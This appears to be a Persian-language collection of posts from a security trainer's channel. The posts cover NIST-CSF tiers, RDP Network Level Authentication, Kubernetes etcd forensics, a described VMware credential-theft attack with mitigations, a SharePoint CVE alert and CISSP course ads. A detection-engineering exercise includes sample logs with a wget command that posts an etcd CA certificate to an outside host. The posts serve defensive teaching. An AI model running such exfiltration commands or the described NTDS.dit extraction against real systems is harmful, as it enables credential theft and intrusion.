چه خبره واقعا

دیده بودم فرد واسه استخدام کردن در SOC اکانت جیمیل بده اما ندیده بودم شرکت فعال در حوزه SOC بگه رزومه بفرستید به یه هاستینگ عمومی !!

عیبه بخدا

قبل از سواد امنیت و کشف نفوذ ، باید روحیه امنیتی داشت

🔴این عمل یعنی تجمیع اطلاعات خاص متخصصان امنیت در پلتفرم خارجی؛ مصداق جمع آوری و انتشار اطلاعات برای دشمن میتونه قلمداد بشه

میدونی لایسنس فایروالت فعال نباشه یا اکسپایر بشه ،ممکنه رولهات کار نکنند و هرچی بستی ، بریزه تو اینترنت !!

لایسنس منجمنت! +اسکن از بیرون یادت نره

#آکادمی_روزبه

در فریم ورک NIST-CSF ما سه مقوله مهم داریم : تایر +پروفایل +کور

کور که کنترل های ماهستند

اما تایر و پروفایل چرا لازم است ؟

پروفایل اسنپ شات زمانی وضعیت سازمان در حال و آینده است
اما تایر چیست ؟سنجش بلوغ فرآیندها یا «چگونه و با چه کیفیتی انجام می‌شود؟»

واضح:

داشتن یک «پروفایل کامل» به این معناست که سازمان به درستی تشخیص داده است که «چه» کنترل‌های امنیتی‌ای برای حفاظت از دارایی‌هایش ضروری است. این سازمان ممکن است روی کاغذ، تمام زیرمجموعه‌های لازم از چارچوب NIST مانند مدیریت دسترسی ( PR.AC) یا حفاظت از داده‌ها (PR.DS) را در پروفایل مطلوب خود گنجانده باشد. اما اگر این سازمان در Tier 1 (Partial) باقی بماند، اجرای این کنترل‌ها به صورت موردی (ad−hoc) و بدون ساختار خواهد بود.
در چنین وضعیتی، برنامه امنیتی به شدت شکننده است، زیرا به دانش یا تلاش یک یا چند فرد خاص وابسته است، نه به یک فرآیند سازمانی. رویکرد آن کاملاً واکنشی خواهد بود؛ یعنی به جای پیش‌گیری، تنها پس از وقوع یک حادثه امنیتی به آن پاسخ می‌دهد. این امر باعث می‌شود برنامه امنیتی غیرقابل اعتماد باشد، زیرا هیچ تضمینی برای اجرای مداوم و یکپارچه کنترل‌ها وجود ندارد.
بنابراین، برای ساختن یک دژ مستحکم سایبری، صرفاً چیدن آجرهای صحیح (تکمیل پروفایل) کافی نیست؛ بلکه ملات و مهندسی که این آجرها را به هم پیوند می‌دهد (ارتقا به Tierهای بالاتر) حیاتی است. دستیابی به امنیت پایدار و مؤثر، مستلزم یک تلاش دوگانه است: تکمیل فهرست کنترل‌ها (پروفایل) و همزمان، نهادینه‌سازی فرآیندهای مدیریتی قابل تکرار و انطباق‌پذیر (Tierهای بالاتر). این دو مفهوم، مانند دو بال یک هواپیما، به طور جدایی‌ناپذیری برای پروازی امن و مطمئن در فضای پرخطر سایبری ضروری هستند.


ثبت نام دوره دوم CISSP در سال 1404 واتس اپ و بله 09902857290
برای برخورداری از تخفیف شرکت هامون تسریع در ثبت نام ضروری است www.haumoun.com

😢کارشناسان شبکه و امنیت لطفا رزومه بدین تو گوگل ذخیره بشه

داستانی پر تکرار

راستی قشنگ بنویسین تو هر شرکت و سازمان چیو چطور کانفیگ کردین کدوم برند بوده و به چیا اکسس داشتین!!!!!

خرده اطلاعات پوشالی

برخی تحلیل ها فقط نوشته می‌شوند که تعدادی کلمه را روی کاغذ بریزند

اما خوب که می‌خوانی میبینی چیز جدید و منطقی گفته نمیشه

نمونه اش این گزارش هست که مولف ظاهرا دکترا دارد اما حیف از وقتی که برای خواندن گزارش گذاشته شود

چرا وقتی چیزی نمی‌دانیم اصلا دست به قلم میشویم ؟
واقعا چیزی از این گزارش دستگیر شما شد؟
فقط مروری بر برخی مطالب درسی بود که بعنوان گزارش حمله درج شده است

نسخه جدید Attack Flow




این Attack Flow به متخصصین کشف کمک می‌کند تا فرآیندهای واقعی حمله را مدل کنند، «فلو»ها را رسم کنند و بهم‌پیوستگی تکنیک‌های مختلف را بهتر درک کنند. این کار باعث می‌شود کشف، دفاع و پاسخ به حملات هدفمند، ساختاریافته‌تر و علمی‌تر انجام شو


#آکادمی_روزبه

https://center-for-threat-informed-defense.github.io/attack-flow/

**نظر شما Anonymous بی نام است

دوستانی که علاقمند به سرفصل دوره مدیریت بحران هستند این مستند رو ببینند
یک پنجم دوره در خصوص این مطالب است
البته دوره کارگاه های فنی هم دارد منجمله فارنزیک
در این دوره با آخرین حملات روز ایران و نحوه بحران زدایی آشنا میشوید

خودت دریافتی رو پیشنهاد بده !

قراره یه کارشناس به تیم اضافه کنیم که هم رد بلد باشه هم بلو . خوببببب حملات رو بشناسه .

جوان باشه بهتره چون قراره حسابی درگیر بشه با تی شوت و حل مساله در تنظیمات ابزارهای کشف

برو لینکدینم در pv خبر بده تا پروفایل لینکدین رو ببینم صحبت کنیم بیای کمک .

ولی واقعا سواد و مهارت مهمه

خودت هم بگی چقدر میصرفه بیای
چون قراره با یه Talent کار کنیم

تمام.

#آکادمی_روزبه
09902857290
Www.haumoun.com

بحث Network Level Authentication (NLA) چیست؟

این موضوع یک ویژگی امنیتی است که در پروتکل RDP (نسخه‌های 6.0 و جدیدتر) معرفی شد. هدف اصلی آن این است که هویت کاربر را قبل از برقراری کامل یک جلسه Remote Desktop و بارگذاری صفحه لاگین ویندوز، تأیید کند.

به زبان ساده‌تر، به جای اینکه کامپیوتر مقصد (سرور) تمام منابع خود را برای ایجاد یک نشست کامل گرافیکی (Session) صرف کند و سپس از شما نام کاربری و رمز عبور بپرسد، NLA این فرآیند را معکوس می‌کند. اول هویت شما را در سطح شبکه تأیید می‌کند و تنها در صورت موفقیت‌آمیز بودن احراز هویت، اجازه می‌دهد که جلسه کامل برقرار شود.

این ویژگی از یک سرویس امنیتی به نام CredSSP (Credential Security Support Provider) استفاده می‌کند.


مزایای این روش:

امنیت بسیار بالاتر: از حملات DoS و Brute-Force جلوگیری می‌کند، زیرا مهاجمان حتی به صفحه لاگین هم نمی‌رسند که بخواهند رمزهای مختلف را تست کنند.
بهینه‌سازی منابع سرور: منابع سیستم فقط برای کاربران تأیید شده مصرف می‌شوند که باعث افزایش کارایی و پایداری سرور می‌گردد.
سرعت بالاتر در اتصال: چون فرآیند احراز هویت سبک و سریع است، اتصال برای کاربران قانونی سریع‌تر برقرار می‌شود.

#آکادمی_روزبه

فارنزیک Kubernetes

بازیابی رد پای حملات، حتی پس از پاک شدن پادها و آبجکت‌ها


وقتی مهاجم وارد کلاستر Kubernetes می‌شود و پس از اجرای payload یا دسترسی، سعی می‌کند آثار حمله‌اش را با حذف podها، secrets یا حتی namespace پاک کند، خیلی‌ها فکر می‌کنند دیگر اثری از نفوذ باقی نمی‌ماند.

اما…

تمام state کلاستر در etcd ذخیره می‌شود و اگر به موقع (و بی‌درنگ) یک snapshot از etcd تهیه شود ، می‌توانیم اطلاعات مربوط به آبجکت‌هایی که مدتی در کلاستر بودند (حتی اگر حذف شده باشند) را در تاریخچه و باقی‌مانده‌های etcd بازیابی و آنالیز کنیم.

مواردی که می‌شود پیداکرد:

موضوع Manifests حذف‌شده (yamlها)، یعنی کدهایی که مهاجم برای استقرار ابزار/ویروسش آورده است.
بحث Secrets، حتی اگر به ظاهر حذف شده باشند، در Snapshot ممکن است همچنان موجود باشد!
و eventها و متادیتاهایی مثل uid، timestamp ساخت و حذف، annotationهای مخفی و…

کاربرد عملی فارنزیک:

بازیابی کانفیگ و secrets بعد از حادثه و قبل از دستکاری کامل توسط مهاجم
مشخص کردن دقیق مسیر و قدم‌های مهاجم (TTPهای حمله)
یافتن شواهدی از ابزارهای یک‌بار مصرف (ephemeral pods)، مثل بات‌نت یا cryptominerهایی که سریع اسپین و حذف می‌شوند.


گاهی حتی بعد از حذف آبجکت‌ها، اثر انگشت (hashها، UIDها و annotationهای auto-generated) تا مدت‌ها به صورت reference در etcd باقی می‌ماند. این، یک شانس طلایی برای فارنزیک کار حرفه‌ای است!


#آکادمی_روزبه


از فرصت های خاص:
ثبت نام دوره حرفه ای CISSP
با تخفیف ۳۰ درصدی شرکت هامون
فقط اشخاص ساکن ایران
www.haumoun.com
واتس اپ و بله ۰۹۹۰۲۸۵۷۲۹۰

رای گیری ادامه داره

حمله Hypervisor Heist:

عبور خاموش از تمام خطوط دفاعی ویندوز و سرقت اعتبارنامه‌ها از VMware vSphere

در فضای امروز امنیت سایبری، بیشتر تمرکز سازمان‌ها روی حفاظت از سیستم‌عامل‌ها، سرویس‌ها و اپلیکیشن‌هاست. اما مهاجمان پیچیده‌تر سراغ لایه‌ای می‌روند که اغلب مورد غفلت قرار می‌گیرد:

هایپروایزر. یکی از سناریوهای حمله پیشرفته و به‌شدت خطرناک همین حمله Hypervisor Heist است که به ما نشان می‌دهد چطور یک تهدید می‌تواند خارج از دید کامل EDR و SIEM، اعتبارنامه‌های دامین کنترلر را سرقت کند.

شرح سناریوی حمله
در این حمله، مهاجم با دسترسی به vCenter (یا Hypervisor)، مراحل زیر را اجرا می‌کند:
شناسایی و خاموش‌کردن ماشین مجازی دامین کنترلر
مهاجم از vCenter ماشین دامین کنترلر را شناسایی و خاموش می‌کند تا دیسک آن باز نشود و دسترسی بگیرد.
جداسازی دیسک مجازی (.vmdk)
دیسک مجازی دامین کنترلر را از VM جدا کرده و به یک ماشین مجازی دیگر متصل می‌کند.

دسترسی آفلاین به دیتای حساس
در ماشین جدید، فایل NTDS.dit (بانک اطلاعاتی Active Directory) را کپی و استخراج می‌کند و حتی فایل‌ها و Credentialهای Kerberos و Hashها را استخراج می‌کند.

بازگشت به وضعیت عادی
نهایتاً دیسک مجازی را به همان VM اولیه برمی‌گرداند، VM را روشن می‌کند—انگار هیچ اتفاقی نیفتاده!

چرا این حمله را “Heist” می‌نامیم؟
پنهان‌کاری کامل: چون تمام عملیات روی دیسک آفلاین و بیرون از سیستم‌عامل ویندوز انجام می‌شود، محصولات امنیتی مانند EDR، XDR یا حتی SIEM هرگز متوجه حذف و کپی شدن NTDS.dit نمی‌شوند.
دور زدن هر نوع Rule شبکه: چون انتقال داده معمولاً از طریق سرور مدیریت (vCenter یا VCSA) انجام می‌شود، نفوذگر می‌تواند محدودیت‌های لایه شبکه را دور بزند مگر اینکه به‌درستی روی‌داده یا مانیتورینگ شود.
غفلت امنیتی سازمان‌ها: خیلی از سازمان‌ها هنوز هایپروایزر و زیرساخت مدیریت VMها را مانند سرویس‌های حیاتی، جدی نمی‌گیرند. در حالی که کنترل این لایه مساوی با کنترل همه چیز است.
راهکارها و توصیه‌ها
جداسازی شبکه مدیریت هایپروایزرهیچ دسترسی غیرضروری، اینترنتی یا حتی داخلی بدون کنترل نباید به vCenter و ESXi داده شود.
فعال‌سازی مانیتورینگ دقیق برروی vCenter، ESXi و Hypervisor APIsSIEM و SOAR باید آلارم‌های خاص مانند جدا کردن یا Add کردن دیسک، خاموش/روشن کردن غیرمنتظره VM را تحلیل کند.
رمزگذاری دیسک‌های VM و استفاده از TPM مجازیحتی اگر دیسک جدا شد، فقط با کلیدهای مدیریتی قابل بازیابی باشد.
استفاده از حساب‌های با کمترین سطح دسترسی و MFA برای مدیریت هایپروایزر
آموزش تیم عملیاتی و SOC در مورد TTPهای attack surface لایه مجازی‌سازی


#آکادمی_روزبه
#تجربه #درس_آموخته

تمرین برای مهندسان کشف

Detection Engineer


I0723 21:12:45.345678 1 audit.go:277] "Request received"
verb="create"
URI="/api/v1/namespaces/default/pods"
user="system:serviceaccount:devops:trusted-app"
sourceIP="192.168.10.239"



2025-07-23 21:13:02.991423 I | etcdserver: request: /v3/kv/range size:829
username=system:serviceaccount:devops:trusted-app
remote=192.168.10.239



I0723 21:13:10.564321 1 audit.go:277] "Create Pod" as "sleep-attack-459f9"
using serviceaccount="trusted-app"
image="busybox"
command="wget http://10.10.10.10/exfil --post-file /etc/kubernetes/pki/etcd/ca.crt"


Jul 23 21:13:15 node-4 kubelet[1217]: Created pod: sleep-attack-459f9 with image busybox
Jul 23 21:14:02 node-4 kubelet[1217]: Deleted pod: sleep-attack-459f9


{
"src_ip": "192.168.10.239",
"dst_ip": "10.10.10.10",
"src_port": 43216,
"dst_port": 80,
"payload_size": "2.3MB",
"timestamp": "2025-07-23T21:13:18Z"
}


حالا فکر کنید به اینکه چه خبره ؟!




ثبت نام دوره آمادگی آزمون CISSP
با 30 درصد تخفیف شرکت هامون
واتس اپ و بله 09902857290
#مرکز_تخصصی_CISSP

هشدار مهم : شیر پوینت هاتون رو دریابید خیلی داره مورد حمله واقع میشه

CVE 2025-53770

به پایان آمد این دفتر ...
حکایت همچنان باقی

امروز جلسه آخر دوره بهار CISSP
الحمدالله
تمام.

۲ مرداد ماه ۱۴۰۴ تهران

بعد از چند سال و مخصوصا که الان دوره افتای SOC رو گذاشتم به فکر افتادم حالا که علاقمندان از من دوره هانت و تهدیدات پیشرفته میخوان ، چرا یه دوره جامع از اول نگذارم 👇👇
مطابق سرفصل های استاندارد جهانی نه سرفصل های ابداعی خودم
کاملا سرفصل های جهان بدون تغییر

در پست بعد بگویید